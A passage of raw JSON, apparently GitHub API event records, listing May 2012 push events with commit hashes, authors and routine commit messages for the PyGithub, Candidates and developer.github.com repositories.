Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3c71195916d2f3352ca354d99115709a9334617b","distinct":true,"message":"Test GitRef attributes"},{"sha":"4c4e551d39f77beb507cd745408284eb0f8078ec","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4c4e551d39f77beb507cd745408284eb0f8078ec","distinct":true,"message":"Toto"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T18:02:02Z","id":"1550846032","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"4c4e551d39f77beb507cd745408284eb0f8078ec","size":1,"push_id":77642805,"commits":[{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/4c4e551d39f77beb507cd745408284eb0f8078ec","message":"Toto","distinct":true,"sha":"4c4e551d39f77beb507cd745408284eb0f8078ec"}],"ref":"refs/heads/tmp"},"public":false,"repo":{"url":"https://api.github.com/repos/jacquev6/Candidates","id":1592290,"name":"jacquev6/Candidates"},"created_at":"2012-05-10T14:55:13Z","id":"1550770489","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"3c71195916d2f3352ca354d99115709a9334617b","size":25,"push_id":77640970,"ref":"refs/heads/tmp","commits":[{"sha":"bc08112dce9be4227c90ad812ff4b6e6dbfc81c5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/bc08112dce9be4227c90ad812ff4b6e6dbfc81c5","distinct":true,"message":"Do not try to __complete objects without url"},{"sha":"ead8fdd1659f743a060679d77ec94deaa7ac92a0","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/ead8fdd1659f743a060679d77ec94deaa7ac92a0","distinct":true,"message":"Use a small eval instead of a big exec"},{"sha":"c559faa6804f4066fee641a079c008f570adffb5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/c559faa6804f4066fee641a079c008f570adffb5","distinct":true,"message":"Check types of received attributes"},{"sha":"114db51fe79cad37e50bc3bc82c183c7d2845316","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/114db51fe79cad37e50bc3bc82c183c7d2845316","distinct":true,"message":"Test attributes of Repository"},{"sha":"5e4cfeda7f5a3f9c8738ba953d704b7e1d28a3f6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/5e4cfeda7f5a3f9c8738ba953d704b7e1d28a3f6","distinct":true,"message":"Test attributes of GitTree (needs a manual change in url in Repository.get_git_tree)"},{"sha":"a03ff8d09ef2f1d55284b8797dd5b9a95b19f917","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/a03ff8d09ef2f1d55284b8797dd5b9a95b19f917","distinct":true,"message":"Explanation about a toto"},{"sha":"d577b691527f5c7f6f663ceef42cba472aae7209","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d577b691527f5c7f6f663ceef42cba472aae7209","distinct":true,"message":"Further simplify record mode"},{"sha":"e1afa5aa3ca92f26aa8dfc3c3d979c1d6d573b39","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/e1afa5aa3ca92f26aa8dfc3c3d979c1d6d573b39","distinct":true,"message":"Standardize detection of replay problems"},{"sha":"ec389d6b62275ccc07f935184cdcbd82bb9124cd","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/ec389d6b62275ccc07f935184cdcbd82bb9124cd","distinct":true,"message":"Remove more code again"},{"sha":"d4a6a3a344e642672fd3107943bf8899326e9ee1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d4a6a3a344e642672fd3107943bf8899326e9ee1","distinct":true,"message":"Fix urls for git objects"},{"sha":"1612b7bcf7b3449c3820c2e49033894e7135739f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1612b7bcf7b3449c3820c2e49033894e7135739f","distinct":true,"message":"Test GitBlob attributes"},{"sha":"954177f98928d5768b02d3cf6340fddcad697410","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/954177f98928d5768b02d3cf6340fddcad697410","distinct":true,"message":"Re-order tests"},{"sha":"80b4e550f354ff5285717eb096839ea25b238fad","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/80b4e550f354ff5285717eb096839ea25b238fad","distinct":true,"message":"Test attributes of GitCommit"},{"sha":"f23ad16aaaf4c5b2f312317cabf3c3e67dccc92b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/f23ad16aaaf4c5b2f312317cabf3c3e67dccc92b","distinct":true,"message":"Add a GitAuthor class"},{"sha":"f14d761344782215c94a23be806a357e5d7ab58d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/f14d761344782215c94a23be806a357e5d7ab58d","distinct":true,"message":"Structure some attributes"},{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","distinct":true,"message":"More assertions"},{"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","distinct":true,"message":"Remove completion functions from GitAuthor"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/cd68559b0861ad2be12be29b9d4b7ec66e885191","message":"Separate asserts on type and assignments of values of attributes","distinct":true,"sha":"cd68559b0861ad2be12be29b9d4b7ec66e885191"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d631e83b7901b0a0b6061b361130700a79505319","message":"Move files around","distinct":true,"sha":"d631e83b7901b0a0b6061b361130700a79505319"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d6efda12012dfb0c35f81d2c291bed575d2f9336","message":"Remove old tests","distinct":true,"sha":"d6efda12012dfb0c35f81d2c291bed575d2f9336"}]},"public":false,"repo":{"url":"https://api.github.com/repos/jacquev6/Candidates","id":1592290,"name":"jacquev6/Candidates"},"created_at":"2012-05-10T14:48:13Z","id":"1550767239","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","size":17,"push_id":77421832,"commits":[{"sha":"bc08112dce9be4227c90ad812ff4b6e6dbfc81c5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bc08112dce9be4227c90ad812ff4b6e6dbfc81c5","distinct":true,"message":"Do not try to __complete objects without url"},{"sha":"ead8fdd1659f743a060679d77ec94deaa7ac92a0","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ead8fdd1659f743a060679d77ec94deaa7ac92a0","distinct":true,"message":"Use a small eval instead of a big exec"},{"sha":"c559faa6804f4066fee641a079c008f570adffb5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c559faa6804f4066fee641a079c008f570adffb5","distinct":true,"message":"Check types of received attributes"},{"sha":"114db51fe79cad37e50bc3bc82c183c7d2845316","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/114db51fe79cad37e50bc3bc82c183c7d2845316","distinct":true,"message":"Test attributes of Repository"},{"sha":"5e4cfeda7f5a3f9c8738ba953d704b7e1d28a3f6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5e4cfeda7f5a3f9c8738ba953d704b7e1d28a3f6","distinct":true,"message":"Test attributes of GitTree (needs a manual change in url in Repository.get_git_tree)"},{"sha":"a03ff8d09ef2f1d55284b8797dd5b9a95b19f917","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a03ff8d09ef2f1d55284b8797dd5b9a95b19f917","distinct":true,"message":"Explanation about a toto"},{"sha":"d577b691527f5c7f6f663ceef42cba472aae7209","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d577b691527f5c7f6f663ceef42cba472aae7209","distinct":true,"message":"Further simplify record mode"},{"sha":"e1afa5aa3ca92f26aa8dfc3c3d979c1d6d573b39","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e1afa5aa3ca92f26aa8dfc3c3d979c1d6d573b39","distinct":true,"message":"Standardize detection of replay problems"},{"sha":"ec389d6b62275ccc07f935184cdcbd82bb9124cd","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ec389d6b62275ccc07f935184cdcbd82bb9124cd","distinct":true,"message":"Remove more code again"},{"sha":"d4a6a3a344e642672fd3107943bf8899326e9ee1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d4a6a3a344e642672fd3107943bf8899326e9ee1","distinct":true,"message":"Fix urls for git objects"},{"sha":"1612b7bcf7b3449c3820c2e49033894e7135739f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1612b7bcf7b3449c3820c2e49033894e7135739f","distinct":true,"message":"Test GitBlob attributes"},{"sha":"954177f98928d5768b02d3cf6340fddcad697410","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/954177f98928d5768b02d3cf6340fddcad697410","distinct":true,"message":"Re-order tests"},{"sha":"80b4e550f354ff5285717eb096839ea25b238fad","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/80b4e550f354ff5285717eb096839ea25b238fad","distinct":true,"message":"Test attributes of GitCommit"},{"sha":"f23ad16aaaf4c5b2f312317cabf3c3e67dccc92b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f23ad16aaaf4c5b2f312317cabf3c3e67dccc92b","distinct":true,"message":"Add a GitAuthor class"},{"sha":"f14d761344782215c94a23be806a357e5d7ab58d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f14d761344782215c94a23be806a357e5d7ab58d","distinct":true,"message":"Structure some attributes"},{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","distinct":true,"message":"More assertions"},{"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","distinct":true,"message":"Remove completion functions from GitAuthor"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-09T16:22:49Z","id":"1550379824","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"41e11740d1921001a2e2474dbe0fa75d3a861849","size":31,"push_id":77401200,"ref":"refs/heads/tmp","commits":[{"sha":"90ff8697b7039fcc1f12369b421f31319fd996df","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/90ff8697b7039fcc1f12369b421f31319fd996df","distinct":true,"message":"Simplify definition of list types"},{"sha":"c01d36a64eb6c4e69e3ac2f6ade27d793f7f2300","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/c01d36a64eb6c4e69e3ac2f6ade27d793f7f2300","distinct":true,"message":"Remove underscores in keys in description, to allow hunting underscores in values"},{"sha":"07e994823e22a01d11612f141c2c0f9336ae5bf5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/07e994823e22a01d11612f141c2c0f9336ae5bf5","distinct":true,"message":"Fix testGists"},{"sha":"5be7fed4c9533dedffe03c7f908a608a8e6fe221","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/5be7fed4c9533dedffe03c7f908a608a8e6fe221","distinct":true,"message":"Toto"},{"sha":"fcd377e377c23f87779d7940c3e894fd5844aad2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/fcd377e377c23f87779d7940c3e894fd5844aad2","distinct":true,"message":"Fix testIssuesForAuthenticatedUser"},{"sha":"84dff1cca70806dd51440fef0634626fd5180a59","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/84dff1cca70806dd51440fef0634626fd5180a59","distinct":true,"message":"Fix testKeys"},{"sha":"e614a30e129b8b7a54173571a379ffe976696578","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/e614a30e129b8b7a54173571a379ffe976696578","distinct":true,"message":"Fix testRepositoryCompare"},{"sha":"74d7704bcd1c291b9003b5785b5978a8036c0505","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/74d7704bcd1c291b9003b5785b5978a8036c0505","distinct":true,"message":"Repository.get_languages => fix testRepositoryDetails"},{"sha":"4b820e09c9487b8f92a8fc098c6e708d16219ec1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/4b820e09c9487b8f92a8fc098c6e708d16219ec1","distinct":true,"message":"Remove an old toto"},{"sha":"1625a645de547b29e9de0f40d40cbcdc4a72f29d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1625a645de547b29e9de0f40d40cbcdc4a72f29d","distinct":true,"message":"Start to rewrite integration test"},{"sha":"1c2f5c78cc8c018775e389a2520e570a707118a6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1c2f5c78cc8c018775e389a2520e570a707118a6","distinct":true,"message":"Improve coverage"},{"sha":"26676020797823c0ff91ccb3cca6112d4b93261e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/26676020797823c0ff91ccb3cca6112d4b93261e","distinct":true,"message":"First recording for new integration tests"},{"sha":"523f2fdd1dcd2e58bc30f6541e53d9858cfa244f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/523f2fdd1dcd2e58bc30f6541e53d9858cfa244f","distinct":true,"message":"Fix recording"},{"sha":"00904f33330d690994a973cd0e021c498e826bc5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/00904f33330d690994a973cd0e021c498e826bc5","distinct":true,"message":"Cover AuthenticatedUser.edit"},{"sha":"656556341233c62324445eb3f5cef6331a7578d3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/656556341233c62324445eb3f5cef6331a7578d3","distinct":true,"message":"Ensure that recorded calls are all replayed"},{"sha":"824b45490dd3b8b2fae4bd4201f195249e26e8a1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/824b45490dd3b8b2fae4bd4201f195249e26e8a1","distinct":true,"message":"Add a Plan class"},{"sha":"eed1e43c9588a76e230e1599fb200a904fe89bd8","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/eed1e43c9588a76e230e1599fb200a904fe89bd8","distinct":true,"message":"Check types of received attributes"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/56dc5d118f17e173eff2bc438681c5903c6444c2","message":"Test attributes of Repository","distinct":true,"sha":"56dc5d118f17e173eff2bc438681c5903c6444c2"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/e5b6e83d493add2052fe63bde12c47cddf7fd7cf","message":"Test attributes of GitTree (needs a manual change in url in Repository.get_git_tree)","distinct":true,"sha":"e5b6e83d493add2052fe63bde12c47cddf7fd7cf"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d1c0dbdd50de73300e408800f9594aff65765ea4","message":"Explanation about a toto","distinct":true,"sha":"d1c0dbdd50de73300e408800f9594aff65765ea4"}]},"public":false,"repo":{"url":"https://api.github.com/repos/jacquev6/Candidates","id":1592290,"name":"jacquev6/Candidates"},"created_at":"2012-05-09T14:58:19Z","id":"1550344090","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"824b45490dd3b8b2fae4bd4201f195249e26e8a1","size":1,"push_id":77223918,"commits":[{"sha":"824b45490dd3b8b2fae4bd4201f195249e26e8a1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/824b45490dd3b8b2fae4bd4201f195249e26e8a1","distinct":true,"message":"Add a Plan class"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-08T19:27:45Z","id":"1550038588","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"f2ccff31671f56b9a1db152056c40fc5118ac403","size":11,"push_id":77220608,"commits":[{"sha":"84dff1cca70806dd51440fef0634626fd5180a59","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/84dff1cca70806dd51440fef0634626fd5180a59","distinct":true,"message":"Fix testKeys"},{"sha":"e614a30e129b8b7a54173571a379ffe976696578","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e614a30e129b8b7a54173571a379ffe976696578","distinct":true,"message":"Fix testRepositoryCompare"},{"sha":"74d7704bcd1c291b9003b5785b5978a8036c0505","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/74d7704bcd1c291b9003b5785b5978a8036c0505","distinct":true,"message":"Repository.get_languages => fix testRepositoryDetails"},{"sha":"4b820e09c9487b8f92a8fc098c6e708d16219ec1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4b820e09c9487b8f92a8fc098c6e708d16219ec1","distinct":true,"message":"Remove an old toto"},{"sha":"1625a645de547b29e9de0f40d40cbcdc4a72f29d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1625a645de547b29e9de0f40d40cbcdc4a72f29d","distinct":true,"message":"Start to rewrite integration test"},{"sha":"1c2f5c78cc8c018775e389a2520e570a707118a6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1c2f5c78cc8c018775e389a2520e570a707118a6","distinct":true,"message":"Improve coverage"},{"sha":"26676020797823c0ff91ccb3cca6112d4b93261e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/26676020797823c0ff91ccb3cca6112d4b93261e","distinct":true,"message":"First recording for new integration tests"},{"sha":"523f2fdd1dcd2e58bc30f6541e53d9858cfa244f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/523f2fdd1dcd2e58bc30f6541e53d9858cfa244f","distinct":true,"message":"Fix recording"},{"sha":"00904f33330d690994a973cd0e021c498e826bc5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/00904f33330d690994a973cd0e021c498e826bc5","distinct":true,"message":"Cover AuthenticatedUser.edit"},{"sha":"656556341233c62324445eb3f5cef6331a7578d3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/656556341233c62324445eb3f5cef6331a7578d3","distinct":true,"message":"Ensure that recorded calls are all replayed"},{"sha":"f2ccff31671f56b9a1db152056c40fc5118ac403","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2ccff31671f56b9a1db152056c40fc5118ac403","distinct":true,"message":"Add a Plan class"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-08T19:12:55Z","id":"1550033011","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"658e8e1ff5d4846d7aa709e516432843d39ad3d5","size":15,"push_id":77097011,"commits":[{"sha":"b9d318a09a89d71a9025da545e0883ee06bb2e40","author":{"name":"Baylor Rae'","email":"baylorrae@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/b9d318a09a89d71a9025da545e0883ee06bb2e40","distinct":true,"message":"fix a typo that didn't create a link"},{"sha":"fe434fe8d0dc57d06d8491ce0ce8d407e2634170","author":{"name":"Chris McDonald","email":"XWraithanX@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/fe434fe8d0dc57d06d8491ce0ce8d407e2634170","distinct":true,"message":"spelling fix: tecnique -> technique"},{"sha":"5c8f53cd01538eaf4a097636861dd87408bdd61e","author":{"name":"Clint Shryock","email":"clint@ctshryock.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/5c8f53cd01538eaf4a097636861dd87408bdd61e","distinct":true,"message":"Fix small typo\n\n\"a comments\" -> \"a comment\""},{"sha":"f8a3a353705e85132373c40d029af8b544de44b6","author":{"name":"Tyler Stalder","email":"tyler@stalder.me"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/f8a3a353705e85132373c40d029af8b544de44b6","distinct":true,"message":"Fix the links to the the newer /settings/applications/new"},{"sha":"9d11e103e1b5f01088d60a9d9f765b78565c4e7d","author":{"name":"John Barnette","email":"jbarnette@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/9d11e103e1b5f01088d60a9d9f765b78565c4e7d","distinct":true,"message":"Merge pull request #70 from BaylorRae/patch-1\n\nfix a typo that didn't create a link"},{"sha":"4036368a0ecfc7676e421ab81a9dd4beb566c5fb","author":{"name":"John Barnette","email":"jbarnette@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/4036368a0ecfc7676e421ab81a9dd4beb566c5fb","distinct":true,"message":"Merge pull request #71 from wraithan/patch-1\n\nspelling fix: tecnique -> technique"},{"sha":"c3a412b425e699f4d2bc5cea9c5bf90287bd8c39","author":{"name":"John Barnette","email":"jbarnette@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/c3a412b425e699f4d2bc5cea9c5bf90287bd8c39","distinct":true,"message":"Merge pull request #73 from ctshryock/mime-typo\n\nFix small typo on /v3/mime/"},{"sha":"338fc8c0e1ebd58c02fd3dd7197032947f4410bd","author":{"name":"John Barnette","email":"jbarnette@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/338fc8c0e1ebd58c02fd3dd7197032947f4410bd","distinct":true,"message":"Merge pull request #74 from tylerstalder/patch-1\n\nFix the links to the the newer /settings/applications/new"},{"sha":"52b8a57eca396da67c8a3fb0d7b022348324cbb3","author":{"name":"John Barnette","email":"john@jbarnette.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/52b8a57eca396da67c8a3fb0d7b022348324cbb3","distinct":true,"message":"Make new auth link anchor consistent. (@kastiglione)"},{"sha":"11fa772024c1b6ed578b5de95121f5f5935528e9","author":{"name":"John Barnette","email":"john@jbarnette.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/11fa772024c1b6ed578b5de95121f5f5935528e9","distinct":true,"message":"Squash an encoding issue."},{"sha":"1773daffb48b4d48f34ad145f22a7fa8e655625f","author":{"name":"John Barnette","email":"john@jbarnette.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/1773daffb48b4d48f34ad145f22a7fa8e655625f","distinct":true,"message":"Stop lying."},{"sha":"da0ecbdfd9cb3d3b23299c05f0325f92acf07771","author":{"name":"Jason Salaz","email":"jsalaz@github.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/da0ecbdfd9cb3d3b23299c05f0325f92acf07771","distinct":true,"message":"Suggested clarification from Bradley at Logos -> https://support.enterprise.github.com/tickets/478"},{"sha":"63cd091f4ca04a3b9b3b960d3ad588125d2c2e1b","author":{"name":"rick","email":"technoweenie@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/63cd091f4ca04a3b9b3b960d3ad588125d2c2e1b","distinct":true,"message":"Update content/v3.md"},{"sha":"d6599c82af8cfd98f7cb2e815d64ca3af890bb3e","author":{"name":"rick","email":"technoweenie@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/d6599c82af8cfd98f7cb2e815d64ca3af890bb3e","distinct":true,"message":"Update 